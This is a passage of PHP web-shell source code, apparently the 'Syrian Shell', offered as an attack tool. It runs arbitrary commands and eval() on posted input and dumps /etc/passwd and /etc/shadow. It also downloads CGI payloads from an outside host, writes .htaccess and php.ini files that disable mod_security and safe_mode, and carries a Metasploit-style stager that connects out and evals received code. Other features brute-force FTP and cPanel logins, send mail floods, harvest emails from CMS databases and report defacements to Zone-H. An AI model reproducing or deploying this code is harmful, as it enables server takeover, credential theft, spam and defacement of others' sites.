961[</span><a href=http://www.yougetsignal.com/tools/web-sites-on-web-server target=\"_blank\"/>Reverse IP</a>]</span>
962 Date Time = <sy>".date('Y-m-d H:i:s')." </sy><br/>
963
964[<a href='http://www.md5decrypter.co.uk/' target='_blank'>MD5 Cracker</a>]
965[<a href='http://www.md5decrypter.co.uk/sha1-decrypt.aspx' target='_blank'>SHA1 Cracker</a>]
966[<a href='http://www.md5decrypter.co.uk/ntlm-decrypt.aspx' target='_blank'>NTLM Cracker</a>]
967<br>
968<br>
969<table bgcolor=#cccccc width=\"100%\"><tbody><tr>
970<td align=right width=100><p dir=ltr>
971<sy> Server : <br>
972<b>uname -a :
973<br>pwd : </span> <br>ID : </span> <br></b></sy></td><td>
974<p dir=ltr><font color=#cccccc size=-2><b> ".$server."
975<br> ".$uname." <sy><a href=http://www.google.com/search?q=".urlencode(@php_uname())." target=_blank>[Google]</a></sy><br> ".
976
977$dir."<br> ".Exe('id')."</b>
978</font></td></tr></tbody>
979</table>
980 [<a href='#down'>Down</a>]
981 [<a href='javascript:window.print()'>Print</a>]
982</table>";
983
984# ---------------------------------------#
985# Main Page #
986#----------------------------------------#
987if ($_GET['id']== 'mainPage')
988{
989 echo "<form method='post'><table width=100% border=1><tr><td>
990 <textarea name='ExecutionArea' rows=10 cols=152 style='color=red'>";
991
992 if(!$_POST || $_POST['login']) // Show Current Directory Contents if No Post in requesting ...
993 {
994 @chdir($_POST['directory']);
995 if($os == "Windows")
996 {
997 echo Exe('dir');
998 }
999 else if($os == "Linux")
1000 {
1001 echo Exe('ls');
1002 }
1003 }
1004 else if($_POST['submitCommands']) // Execute The Alias Command .
1005 {
1006 echo Exe($_POST['alias']);
1007 }
1008 else if($_POST['Execute']) // Execute The Command From Command Line .
1009 {
1010 @chdir($_POST['directory']);
1011 if(empty($_POST['cmd']))
1012 {
1013 if($os == "Windows")
1014 {
1015 echo Exe('dir');
1016 }
1017 else if($os == "Linux")
1018 {
1019 echo Exe('ls -lia');
1020 }
1021 }
1022 else
1023 {
1024 echo Exe($_POST['cmd']);
1025 }
1026 }
1027 else if($_POST['submitEval']) // Execute Eval Code .
1028 {
1029 $eval = @str_replace("<?php","",$_POST['php_eval']);
1030 $eval = @str_replace("<?php","",$eval);
1031 $eval = @str_replace("?>","",$eval);
1032 $eval = @str_replace("\\","",$eval);
1033 echo eval($eval);
1034 }
1035 # --------------------------
1036 # Hash Analyzer
1037 #---------------------------
1038 else if($_POST['analyzieNow'])
1039 {
1040 $hash = $_POST['hashToAnalyze'];
1041 $subHash = substr($hash,0,3);
1042 if($subHash =='$ap' && strlen($hash) == 37)
1043 {
1044 echo "The Hash : ".$hash." is : MD5(APR) Hash";
1045 }
1046 else if($subHash =='$1$' && strlen($hash) == 34)
1047 {
1048 echo "The Hash : ".$hash." is : MD5(UNIX) Hash";
1049 }
1050 else if($subHash =='$H$' && strlen($hash) == 35)
1051 {
1052 echo "The Hash : ".$hash." is : MD5(phpBB3) Hash";
1053 }
1054 else if(strlen($hash) == 29)
1055 {
1056 echo "The Hash : ".$hash." is : MD5(Wordpress) Hash";
1057 }
1058 else if($subHash =='$5$' && strlen($hash) == 64)
1059 {
1060 echo "The Hash : ".$hash." is : SHA256(UNIX) Hash";
1061 }
1062 else if($subHash =='$6$' && strlen($hash) == 128)
1063 {
1064 echo "The Hash : ".$hash." is : SHA512(UNIX) Hash";
1065 }
1066 else if(strlen($hash) == 56)
1067 {
1068 echo "The Hash : ".$hash." is : SHA224 Hash";
1069 }
1070 else if(strlen($hash) == 64)
1071 {
1072 echo "The Hash : ".$hash." is : SHA256 Hash";
1073 }
1074 else if(strlen($hash) == 96)
1075 {
1076 echo "The Hash : ".$hash." is : SHA384 Hash";
1077 }
1078 else if(strlen($hash) == 128)
1079 {
1080 echo "The Hash : ".$hash." is : SHA512 Hash";
1081 }
1082 else if(strlen($hash) == 40)
1083 {
1084 echo "The Hash : ".$hash." is : MySQL v5.x Hash";
1085 }
1086 else if(strlen($hash) == 16)
1087 {
1088 echo "The Hash : ".$hash." is : MySQL Hash";
1089 }
1090 else if(strlen($hash) == 13)
1091 {
1092 echo "The Hash : ".$hash." is : DES(Unix) Hash";
1093 }
1094 else if(strlen($hash) == 32)
1095 {
1096 echo "The Hash : ".$hash." is : MD5 Hash";
1097 }
1098 else if(strlen($hash) == 4)
1099 {
1100 echo "The Hash : ".$hash." is : [CRC-16]-[CRC-16-CCITT]-[FCS-16]";}
1101 else
1102 {
1103 echo "Error : Can't Detect Hash Type";
1104 }
1105 }
1106 # --------------------------
1107 # Show Users
1108 #---------------------------
1109 else if($_POST['showUsers'])
1110 {
1111 function showUsers()
1112 {
1113
1114 if($rows = Exe('cat /etc/passwd'))
1115 {
1116 echo $rows;
1117 }
1118 elseif($rows= Exe('cat /etc/domainalias'))
1119 {
1120 echo $rows;
1121 }
1122 elseif($rows= Exe('cat /etc/shadow'))
1123 {
1124 echo $rows;
1125 }
1126 elseif($rows= Exe('cat /var/mail'))
1127 {
1128 echo $rows;
1129 }
1130 elseif($rows= Exe('cat /etc/valiases'))
1131 {
1132 echo $rows;
1133 }
1134 else { echo "[-] Can't Show Users :( ... Sorry ";}
1135 }
1136 showUsers();
1137 }
1138 # --------------------------
1139 # Generate perl
1140 #---------------------------
1141 else if($_POST['generatePel'])
1142 {
1143 @chdir($_POST["cgiperlPath"]);
1144 @mkdir("cgi", 0755);
1145 @chdir("cgi");
1146 Exe('wget http://www.syrian-shell.com/cgiPerl/cgiPerl.sy3.zip');
1147 Exe('unzip cgiPerl.sy3.zip');
1148 @unlink('cgiPerl.sy3.zip');
1149 @chmod("cgiPerl.sy3",0755);
1150 @chmod("compiler",0777);
1151 $cgi_h = fopen('.htaccess','w+');
1152 @fwrite($cgi_h,'AddHandler cgi-script .sy3');
1153 echo '
1154cgi.sy3 & .htaccess Has Been Created in [ cgi ] Directory
1155Password Is : sy34' ;
1156 }
1157 # --------------------------
1158 # Generate Server
1159 #---------------------------
1160 else if($_POST['generateSER'])
1161 {
1162 @chdir($_POST['ShourtCutPath']);
1163 @mkdir("allserver", 0755);
1164 @chdir("allserver");
1165 Exe("ln -s / allserver");
1166 GenerateFile(".htaccess","
1167 Options Indexes FollowSymLinks
1168 DirectoryIndex ssssss.htm
1169 AddType txt .php
1170 AddHandler txt .php");
1171 echo 'Now Go to allserver folder '.$_POST['ShourtCutPath'].'' ;
1172 }
1173 # --------------------------
1174 # Change Mode
1175 #---------------------------
1176 else if($_POST['changePermission'])
1177 {
1178 $ch_ok = @chmod($_POST['fileName'],$_POST['per']);
1179 if($ch_ok)
1180 echo "Permission Changed Successfully ! " ;
1181 else echo "Changing Is Not Allowed Or The File is not Exist !";
1182 }
1183 # --------------------------
1184 # Generate Users
1185 #---------------------------
1186 else if($_POST['GenerateUsers'])
1187 {
1188 @chdir($_POST['usersPath']);
1189 @mkdir("users", 0755);
1190 @chdir('users');
1191 Exe('wget http://www.syrian-shell.com/usersAndDomains/users.rar');
1192 Exe('mv users.rar users.sy3');
1193 @chmod('users.sy3',0755 );
1194 $user_h = fopen('.htaccess','w+');
1195 fwrite($user_h,'AddHandler cgi-script .sy3');
1196 echo "users.sy3 & .htaccess Has Been Created in [ users ] Directory" ;
1197 }
1198 # --------------------------
1199 # Forbidden
1200 #---------------------------
1201 else if($_POST['generateForbidden'])
1202 {
1203 @chdir($_POST['forbiddenPath']);
1204 @mkdir('forbidden');
1205 @chdir('forbidden');
1206 $htaccess = fopen('.htaccess','w+');
1207 if($_POST['403'] == 'DirectoryIndex')
1208 {
1209 fwrite($htaccess,"DirectoryIndex in.txt");
1210 }
1211 elseif($_POST['403'] == 'HeaderName')
1212 {
1213 fwrite($htaccess,"HeaderName in.txt");
1214 }
1215 elseif($_POST['403'] == 'TXT')
1216 {
1217 fwrite($htaccess,"
1218 Options Indexes FollowSymLinks
1219 addType txt .php
1220 AddHandler txt .php");
1221 }
1222 elseif($_POST['403'] == '404')
1223 {
1224 fwrite($htaccess,"
1225 ErrorDocument 404 /404.html
1226 404.html = Symlinked in.txt ");
1227 }
1228 elseif($_POST['403'] == 'ReadmeName')
1229 {
1230 fwrite($htaccess,"ReadmeName in.txt");
1231 }
1232 elseif($_POST['403'] == 'footerName')
1233 {
1234 fwrite($htaccess,"footerName in.txt");
1235 }
1236 echo "
1237Now Go To [ forbidden ] Dir And Then make The Shortcut [ in.txt ]
1238EX : ln -s /home/user/public_html/config.php in.txt";
1239 }
1240 # --------------------------
1241 # Upload Files
1242 #---------------------------
1243 else if($_POST['UploadNow'])
1244 {
1245 $nbr_uploaded =0;
1246 $files_uploded = array();
1247 $path= '';
1248 $target_path= $path . basename($_FILES['uploadfile']['name'][$i]);
1249 for ($i = 0; $i < count($_FILES['uploadfile']['name']); $i++)
1250 {
1251 if($_FILES['uploadfile']['name'][$i] != '')
1252 {
1253 move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $target_path . $_FILES['uploadfile']['name'][$i]);
1254 $files_uploded[] = $_FILES['uploadfile']['name'][$i];
1255 $nbr_uploaded++;
1256 echo "The File ".basename($_FILES['uploadfile']['name'][$i])." Uploaded Successfully !
1257";
1258 }
1259 else "The File ".basename($_FILES['uploadfile']['name'][$i])." Can't Be Upload :( !";
1260 }
1261 }
1262 # --------------------------
1263 # no Security
1264 #---------------------------
1265 else if($_POST['phpiniGenerate'])
1266 {
1267 GenerateFile("php.ini","
1268 safe_mode = Off
1269 disable_functions = NONE
1270 safe_mode_gid = OFF
1271 open_basedir = OFF");
1272 echo "php.ini Has Been Generated Successfully";
1273 }
1274 else if($_POST['htaccessGenerate'])
1275 {
1276 GenerateFile(".htaccess","
1277 <IfModule mod_security.c>
1278 SecFilterEngine Off
1279 SecFilterScanPOST Off
1280 SecFilterCheckURLEncoding Off
1281 SecFilterCheckCookieFormat Off
1282 SecFilterCheckUnicodeEncoding Off
1283 SecFilterNormalizeCookies Off
1284 </IfModule>
1285 SetEnv PHPRC ".getcwd()."php.ini
1286 suPHP_ConfigPath ".getcwd()."php.ini
1287 ");
1288 echo ".htaccess Has Been Generated Successfully ";
1289 }
1290 else if($_POST['iniphpGenerate'])
1291 {
1292 GenerateFile("ini.php","
1293 ini_restore(\"safe_mode\");
1294 ini_restore(\"open_basedir\");
1295 ");
1296 echo "ini.php Has Been Generated Successfully";
1297 }
1298 # --------------------------
1299 # Reading Files
1300 #---------------------------
1301 else if($_POST['read'] || $_POST['show'])
1302 {
1303 $file = $_POST['file'];
1304 $file = str_replace('\\\\','\\',$file);
1305
1306 if($_POST['read'])
1307 {
1308 $openMyFile = fopen($file,'r');
1309 if(function_exists('fread'))
1310 {
1311 echo fread($openMyFile,100000);
1312 }
1313 elseif(function_exists('fgets'))
1314 {
1315 echo fgets($openMyFile);
1316 }
1317 elseif(function_exists('readfile'))
1318 {
1319 echo readfile($openMyFile);
1320 }
1321 elseif(function_exists('file_get_contents'))
1322 {
1323 $readMyFile = @file_get_contents($file, NULL, NULL, 0, 1000000);
1324 var_dump($readMyFile);
1325 }
1326 elseif(function_exists('file'))
1327 {
1328 $readMyFile = file($myFile);
1329 foreach ($readMyFile as $line_num => $readMyFileLine)
1330 {
1331 echo "Line #$line_num : " . $readMyFileLine . "
1332 ";
1333 }
1334 }
1335 elseif(Exe("'cat ".$file."'"))
1336 {
1337 echo Exe("'cat ".$file."'");
1338 }
1339 elseif(function_exists('readfile'))
1340 {
1341 readfile($file);
1342 }
1343 elseif(function_exists('include'))
1344 {
1345 include($file);
1346 }
1347 elseif(function_exists('copy'))
1348 {
1349 $tmp=tempnam('','cx');
1350 copy('compress.zlib://'.$file,$tmp);
1351 $fh=fopen($tmp,'r');
1352 $data=fread($fh,filesize($tmp));
1353 fclose($fh);
1354 echo $data;
1355 }
1356 elseif(function_exists('mb_send_mail'))
1357 {
1358 if(file_exists('/tmp/mb_send_mail'))
1359 {
1360 unlink('/tmp/mb_send_mail');
1361 }
1362 @mb_send_mail(NULL, NULL, NULL, NULL,'-C $file -X /tmp/mb_send_mail');
1363 @readfile('/tmp/mb_send_mail');
1364 }
1365 else if(function_exists('curl_init'))
1366 {
1367 $fh=curl_init('file://'.$file.'');
1368 $tmp=curl_exec($fh);
1369 echo $tmp;
1370 if(strstr($file,DIRECTORY_SEPARATOR))
1371 $ch=curl_init('file:///'.$file."\x00/../../../../../../../../../../../../".__FILE__);
1372 else $ch=curl_init('file://'.$file."\x00".__FILE__);
1373 var_dump(curl_exec($ch));
1374 }
1375 else if(is_writable('.'))
1376 {
1377 file_put_contents('php.ini','safe_mode = Off');
1378 readfile($file);
1379 unlink('php.ini');
1380 }
1381 else if(is_object($ws=new COM('WScript.Shell')))
1382 {
1383 echo $exec=comshelL("type \"$file\"",$ws);
1384 }
1385 else if(checkfunctioN('win_shell_execute'))
1386 {
1387 echo winshelL("type \"$file\"");
1388 }
1389 else if(checkfunctioN('win32_create_service'))
1390 {
1391 echo srvshelL("type \"$file\"");
1392 }
1393 else if(function_exists('imap_open'))
1394 {
1395 $str=imap_open('/etc/passwd','','');
1396 $list=imap_list($str,$file,'*');
1397 for($i=0;$i<count($list);$i++)
1398 {
1399 echo $list[$i]."\n";
1400 }
1401 imap_close($str);
1402 $str=imap_open($file,'','');
1403 $tmp=imap_body($str,1);
1404 echo $tmp;
1405 imap_close($str);
1406 }
1407 elseif($file == '/etc/passwd')
1408 {
1409 for($uid=0;$uid<99999;$uid++)
1410 {
1411 $h=posix_getpwuid($uid);
1412 if(!empty($h))
1413 foreach($h as $v)
1414 echo "$v:";
1415 echo "\r\n";
1416 }
1417 }
1418 fclose($openMyFile);
1419 }
1420 elseif($_POST['show'])
1421 {
1422 $con=glob("$file*");
1423 foreach ($con as $v)
1424 {
1425 echo "$v\n";
1426 }
1427 if(function_exists('imap_open'))
1428 {
1429 $str=imap_open('/etc/passwd','','');
1430 $s=explode("|",$file);
1431 if(count($s)>1)
1432 {
1433 $list=imap_list($str,trim($s[0]),trim($s[1]));
1434 }
1435 else
1436 {
1437 $list=imap_list($str,trim($str[0]),'*');
1438 }
1439 for($i=0;$i<count($list);$i++)
1440 {
1441 imap_close($str);
1442 }
1443 }
1444 else if(is_object($ws=new COM('WScript.Shell')))
1445 {
1446 $exec=comshelL("dir \"$file\"",$ws);
1447 $exec=str_replace("\t",'',$exec);
1448 echo $exec;
1449 }
1450 else if(checkfunctioN('win_shell_execute'))
1451 {
1452 echo winshelL("dir \"$file\"");
1453 }
1454 else if(checkfunctioN('win32_create_service'))
1455 {
1456 echo srvshelL("dir \"$file\"");
1457 }
1458 }
1459
1460 }
1461 # --------------------------
1462 # Encryption
1463 #---------------------------
1464 elseif($_POST['encryptNow'])
1465 {
1466 if(!empty($_POST['ENCRYPTION']))
1467 {
1468 $md5 = $_POST['ENCRYPTION'];
1469 echo "
1470MD5 : ".md5($md5)."
1471Base64 Encode : ".base64_encode($md5)."
1472Base64 Decode : ".base64_decode($md5)."
1473Crypt : ".crypt($md5)."
1474SHA1 : ".sha1($md5)."
1475MD4 : ".hash("md4",$md5)."
1476SHA256 : ".hash("sha256",$md5)."
1477URL Encoding : ".urlencode($md5)."
1478URL Decoding : ".str_hex($md5)."
1479CRC32 : ".crc32($md5)."
1480Length : ".strlen($md5)."";
1481 }
1482 else
1483 {
1484 echo "Please Put At Least One Char !";
1485 }
1486 }
1487 # --------------------------
1488 # Metasploit RC
1489 #---------------------------
1490 else if($_POST['metaConnect'])
1491 {
1492 $ip = $_POST['ip'];
1493 $port = $_POST['port'];
1494 if ($ip == "" && $port == "")
1495 {
1496 echo "Please fill IP Adress & The listen Port";
1497 }
1498 else
1499 {
1500 $ipaddr = $ip;
1501 $port = $port;
1502 if (FALSE !== strpos($ipaddr, ":"))
1503 {
1504 $ipaddr = "[". $ipaddr ."]";
1505 }
1506 if (is_callable('stream_socket_client'))
1507 {
1508 $msgsock = @stream_socket_client("tcp://{$ipaddr}:{$port}");
1509 if (!$msgsock)
1510 {
1511 die();
1512 }
1513 $msgsock_type = 'stream';
1514 }
1515 elseif (is_callable('fsockopen'))
1516 {
1517 $msgsock = fsockopen($ipaddr,$port);
1518 if (!$msgsock)
1519 {
1520 die();
1521 }
1522 $msgsock_type = 'stream';
1523 }
1524 elseif (is_callable('socket_create'))
1525 {
1526 $msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
1527 $res = socket_connect($msgsock, $ipaddr, $port);
1528 if (!$res)
1529 {
1530 die();
1531 }
1532 $msgsock_type = 'socket';
1533 }
1534 else
1535 {
1536 die();
1537 }
1538 switch ($msgsock_type)
1539 {
1540 case 'stream': $len = fread($msgsock, 4); break;
1541 case 'socket': $len = socket_read($msgsock, 4); break;
1542 }
1543 if (!$len)
1544 {
1545 die();
1546 }
1547 $a = unpack("Nlen", $len);
1548 $len = $a['len'];
1549 $buffer = '';
1550 while (strlen($buffer) < $len)
1551 {
1552 switch ($msgsock_type)
1553 {
1554 case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer));
1555 break;
1556 case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));
1557 break;
1558 }
1559 }
1560 eval($buffer);
1561 echo "[*] Connection Terminated";
1562 die();
1563 }
1564 }
1565 # --------------------------
1566 # Scan Ports
1567 #---------------------------
1568 else if($_POST['submitDomainToScanPort'])
1569 {
1570 $domainToScan = $_POST['domainToScanPort'];
1571 if(!$domainToScan)
1572 {
1573 echo "[-] Enter IP Address Or Domain To Scan";
1574 }
1575 else
1576 {
1577 for($i=0;$i<1024;$i++)
1578 {
1579 $fp = @fsockopen($domainToScan,$i,$errno,$errstr,10);
1580 if($fp)
1581 {
1582 echo "[+] port " . $i . " open on " . $domainToScan . "
1583";
1584 }
1585 else
1586 {
1587 echo "[+] port " . $i . " closed on " . $domainToScan . "
1588";
1589 }
1590 flush();
1591 }
1592 fclose($fp);
1593 }
1594 }
1595
1596 if (isset($_POST["submit_lol"]))
1597 {
1598 set_time_limit(0);
1599 $url = $_POST['hash_lol'];
1600 echo "Testing ".$url."\n";
1601 $extention = $_POST['extention'];
1602 $adminlocales = array(
1603"admin/",
1604"wp-admin/",
1605"administration/",
1606"administrator/",
1607"moderator/",
1608"webadmin/",
1609"adminarea/",
1610"bb-admin/",
1611"adminLogin/",
1612"admin_area/",
1613"panel-administracion/",
1614"instadmin/",
1615"memberadmin/",
1616"administratorlogin/",
1617"adm/",
1618"siteadmin/login".$extention."",
1619"admin/account".$extention."",
1620"admin/index".$extention."",
1621"admin/login".$extention."",
1622"admin/admin".$extention."",
1623"admin_area/login".$extention."",
1624"admin_area/index".$extention."",
1625"admincp/index".$extention."",
1626"adminpanel".$extention."",
1627"webadmin".$extention."",
1628"webadmin/index".$extention."",
1629"webadmin/login".$extention."",
1630"admin/admin_login".$extention."",
1631"admin_login".$extention."",
1632"panel-administracion/login".$extention."",
1633"admin_area/admin".$extention."",
1634"bb-admin/index".$extention."",
1635"bb-admin/login".$extention."",
1636"bb-admin/admin".$extention."",
1637"admin/home".$extention."",
1638"pages/admin/admin-login".$extention."",
1639"admin/admin-login".$extention."",
1640"admin-login".$extention."",
1641"admin/adminLogin".$extention."",
1642"home".$extention."",
1643"adminarea/index".$extention."",
1644"admin/controlpanel".$extention."",
1645"admin".$extention."",
1646"admin/cp".$extention."",
1647"cp".$extention."",
1648"adminpanel.php",
1649"moderator".$extention."",
1650"administrator/index".$extention."",
1651"administrator/login".$extention."",
1652"user".$extention."",
1653"administrator/account".$extention."",
1654"administrator".$extention."",
1655"login".$extention."",
1656"modelsearch/login".$extention."",
1657"moderator/login".$extention."",
1658"panel-administracion/admin".$extention."",
1659"admincontrol/login".$extention."",
1660"adm/index".$extention."",
1661"moderator/admin".$extention."",
1662"account".$extention."",
1663"controlpanel".$extention."",
1664"admincontrol".$extention."",
1665"webadmin/admin".$extention."",
1666"adminLogin".$extention."",
1667"panel-administracion/login".$extention."",
1668"wp-login".$extention."",
1669"adminLogin".$extention."",
1670"admin/adminLogin".$extention."",
1671"adminarea/index".$extention."",
1672"adminarea/admin".$extention."",
1673"adminarea/login".$extention."",
1674"panel-administracion/index".$extention."",
1675"modelsearch/index".$extention."",
1676"modelsearch/admin".$extention."",
1677"adm/admloginuser".$extention."",
1678"admloginuser".$extention."",
1679"admin2".$extention."",
1680"admin2/login".$extention."",
1681"admin2/index".$extention."",
1682"adm/index".$extention."",
1683"adm".$extention."",
1684"affiliate".$extention."",
1685"adm_auth".$extention."",
1686"memberadmin".$extention."",
1687"administratorlogin".$extention."");
1688 foreach ($adminlocales as $admin)
1689 {
1690 $headers = @get_headers("$url$admin");
1691 if (@eregi('200', $headers[0]))
1692 {
1693 echo "[+] $url$admin ~ Found!\n";
1694 }
1695
1696 }
1697 }
1698 # --------------------------
1699 # Config Finder
1700 #---------------------------
1701 else if($_POST['configFinderSubmit'])
1702 {
1703 set_time_limit(0);
1704 $passwd=fopen('/etc/passwd','r');
1705 if (!$passwd)
1706 {
1707 echo "[-] Error : coudn't read /etc/passwd";
1708 exit;
1709 }
1710 $path_to_public=array();
1711 $users=array();
1712 $pathtoconf=array();
1713 $i=0;
1714 while(!feof($passwd))
1715 {
1716 $str=fgets($passwd);
1717 if ($i>35)
1718 {
1719 $pos=strpos($str,":");
1720 $username=substr($str,0,$pos);
1721 $dirz="/home/$username/public_html/";
1722 if (($username!=""))
1723 {
1724 if (is_readable($dirz))
1725 {
1726 array_push($users,$username);
1727 array_push($path_to_public,$dirz);
1728 }
1729 }
1730 }
1731 $i++;
1732 }
1733 echo "";
1734 echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd
1735 ";
1736 echo "[+] Founded ".sizeof($path_to_public)." readable public_html directories
1737 ";
1738 echo "[~] Searching for passwords in config.* files...
1739 ";
1740 foreach ($users as $user)
1741 {
1742 $path="/home/$user/public_html/";
1743 read_dir($path,$user);
1744 }
1745 echo "[+] Done";
1746 }
1747 # --------------------------
1748 # Mail Storm
1749 #---------------------------
1750 else if($_POST['sendMailStorm'])
1751 {
1752 $to=$_POST['to'];
1753 $nom=$_POST['nom'];
1754 $Comments=$_POST['Comments'];
1755 if ($to <> "" )
1756 {
1757 for ($i = 0; $i < $nom ; $i++)
1758 {
1759 $from = rand (71,1020000000)."@"."Attacker.com";
1760 $subject= md5("$from");
1761 if(@mail($to,$subject,$Comments,"From:$from"))
1762 echo "[+] $i spammed !!
1763";
1764 else
1765 {
1766 echo "[-] $i Failed !!
1767";
1768 }
1769 }
1770 }
1771 }
1772 # --------------------------
1773 # Extract Emails
1774 #---------------------------
1775 else if($_POST['getEmails'])
1776 {
1777 $emhost = $_POST['EM_HOST'];
1778 $emuser = $_POST['EM_USER'];
1779 $empass = $_POST['EM_PASS'];
1780 $emdb = $_POST['EM_DB'];
1781 $emtab = $_POST['EM_TABLE'];
1782 $emcol = $_POST['EM_COLUMN'];
1783 $try2Connect = @mysql_connect($emhost,$emuser,$empass);
1784 if(!$try2Connect)
1785 {
1786 echo "[-] Can't Connect To DB !! [ user name || password is wrong ! ] .
1787";
1788 }
1789 $try2Select = @mysql_select_db($emdb);
1790 if(!$try2Select && $try2Connect)
1791 {
1792 echo "[-] DB Name is Wrong !! . ";
1793 }
1794 $sql = @mysql_query("SELECT * FROM $emtab");
1795 while ($res = @mysql_fetch_array($sql))
1796 {
1797 echo ''.$res["$emcol"].'
1798';
1799 }
1800 }
1801 // Help
1802 else if($_POST['emailExtractorHelp'])
1803 {
1804 echo "This is Some Tables Name & Columns Name For Some Fam Scripts ..
1805
1806[+] VBulletin
1807Table-name : user
1808column-name : email
1809
1810[+] WordPress
1811Table-name : wp_users
1812column-name : user_email
1813
1814[+] Joomla
1815Table-name : jos_users
1816column-name : email
1817
1818[+] PHPBB
1819Table-name : phpbb_users
1820column-name : user_email
1821
1822[+] I.P.Board
1823Table-name : ibf_members
1824column-name : email
1825
1826[+] SMF
1827Table-name : smf_members
1828column-name : emailAddress ";
1829 }
1830 # --------------------------
1831 # MySQL Query
1832 #---------------------------
1833 else if($_POST['MySQLQuery'])
1834 {
1835 $qu_host =$_POST['QU_HOST'];
1836 $qu_user =$_POST['QU_USER'];
1837 $qu_pass =$_POST['QU_PASS'];
1838 $qu_db =$_POST['QU_DB'];
1839 $query =$_POST['QU'];
1840 if (empty($_POST['QU_HOST']))
1841 $qu_host = 'localhost';
1842 $query = str_replace("\\","",$query);
1843 if (!empty($_POST['QU']))
1844 {
1845 $tryConnection = @mysql_connect($qu_host,$qu_user,$qu_pass);
1846 if(!$tryConnection)
1847 {
1848 echo "[-] Unable TO Connect DATABASE ! Username Or Password Is Wrong !!";
1849 }
1850 else
1851 {
1852 $selectDB = @mysql_select_db($qu_db);
1853 if(!$selectDB)
1854 {
1855 echo "[-] Database Name Is Wrong !!";
1856 }
1857 else
1858 {
1859 $qqok1 = mysql_query($query);
1860 if(!$qqok1)
1861 {
1862 echo "[-] Can't Execute The Query";
1863 }
1864 }
1865 }
1866 @mysql_close();
1867 }
1868 if ($qqok1)
1869 {
1870 update();
1871 }
1872 }
1873 # --------------------------
1874 # SQL Reader
1875 #---------------------------
1876 else if ($_POST['sql2Read'])
1877 {
1878 $host = $_POST['host'];
1879 $user = $_POST['user'];
1880 $pass = $_POST['pass'];
1881 $db = $_POST['db'];
1882 $unique = uniqid('N');
1883 $file = $_POST['file'];
1884 $file = str_replace('\\\\','\\',$file);
1885 $query = array(
1886 "CREATE TEMPORARY TABLE $unique (file LONGBLOB)",
1887 "LOAD DATA INFILE '".mysql_real_escape_string($file)."' INTO TABLE $unique",
1888 "SELECT * FROM $unique"
1889 );
1890 $connect = mysql_connect($host,$user, $pass);
1891 mysql_select_db($db,$connect);
1892 foreach($query as $Allqueries)
1893 {
1894 $mysqlQuery = mysql_query($Allqueries,$connect);
1895 while($line = @mysql_fetch_row($mysqlQuery))
1896 echo htmlspecialchars($line[0]);
1897 echo "\n";
1898 }
1899 }
1900 # --------------------------
1901 # Edit File
1902 #---------------------------
1903 else if($_POST['editFileSubmit'])
1904 {
1905 $file2Edit = $_POST['editFile'];
1906 echo @file_get_contents($file2Edit);
1907 }
1908 else if($_POST['saveEditedFile'])
1909 {
1910 $fileName = $_POST['file2edit'];
1911 $newFile = $_POST['ExecutionArea'];
1912 $trytoGenerate = GenerateFile($fileName,$newFile);
1913 if($trytoGenerate)
1914 {
1915 echo "[+] File Saved !";
1916 }
1917 else
1918 {
1919 echo "[-] Failed To Save File !!";
1920 }
1921 }
1922 # --------------------------
1923 # Zone H Attacker
1924 #---------------------------
1925 else if($_POST['SendNowToZoneH'])
1926 {
1927 ob_start();
1928 $sub = @get_loaded_extensions();
1929 if(!in_array("curl", $sub))
1930 {
1931 die('[-] Curl Is Not Supported !! ');
1932 }
1933
1934 $hacker = $_POST['defacer'];
1935 $method = $_POST['hackmode'];
1936 $neden = $_POST['reason'];
1937 $site = $_POST['domain'];
1938
1939 if (empty($hacker))
1940 {
1941 die ("[-] You Must Fill the Attacker name !");
1942 }
1943 elseif($method == "--------SELECT--------")
1944 {
1945 die("[-] You Must Select The Method !");
1946 }
1947 elseif($neden == "--------SELECT--------")
1948 {
1949 die("[-] You Must Select The Reason");
1950 }
1951 elseif(empty($site))
1952 {
1953 die("[-] You Must Inter the Sites List ! ");
1954 }
1955 $i = 0;
1956 $sites = explode("\n", $site);
1957 while($i < count($sites))
1958 {
1959 if(substr($sites[$i], 0, 4) != "http")
1960 {
1961 $sites[$i] = "http://".$sites[$i];
1962 }
1963 ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
1964 echo "Site : ".$sites[$i]." Defaced !\n";
1965 ++$i;
1966 }
1967 echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";
1968 }
1969 # --------------------------
1970 # FTP And Cpanle Brute Force Attacker
1971 #---------------------------
1972 else if($_POST['BruteForceCpanelAndFTP'])
1973 {
1974 $connect_timeout=5;
1975 set_time_limit(0);
1976 $submit=$_REQUEST['BruteForceCpanelAndFTP'];
1977 $users=$_REQUEST['users'];
1978 $pass=$_REQUEST['passwords'];
1979 $target=$_REQUEST['target'];
1980 $cracktype=$_REQUEST['cracktype'];
1981
1982 if(empty($target))
1983 {
1984 $target = "localhost";
1985 }
1986
1987 function ftp_check($host,$user,$pass,$timeout)
1988 {
1989 $ch = curl_init();
1990 curl_setopt($ch, CURLOPT_URL, "ftp://$host");
1991 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1992 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1993 curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
1994 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1995 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1996 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1997 $data = curl_exec($ch);
1998 if ( curl_errno($ch) == 28 )
1999 {
2000 print "Error : Connection Timeout Please Check The Target Hostname .";
2001 exit;
2002 }
2003 elseif ( curl_errno($ch) == 0 )
2004 {
2005 print "[+] Cracking Success With Username ($user) and Password ($pass)";
2006 }
2007 curl_close($ch);
2008 }
2009 function cpanel_check($host,$user,$pass,$timeout)
2010 {
2011 $ch = curl_init();
2012 curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
2013 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2014 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
2015 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
2016 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
2017 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
2018 $data = curl_exec($ch);
2019 if ( curl_errno($ch) == 28 )
2020 {
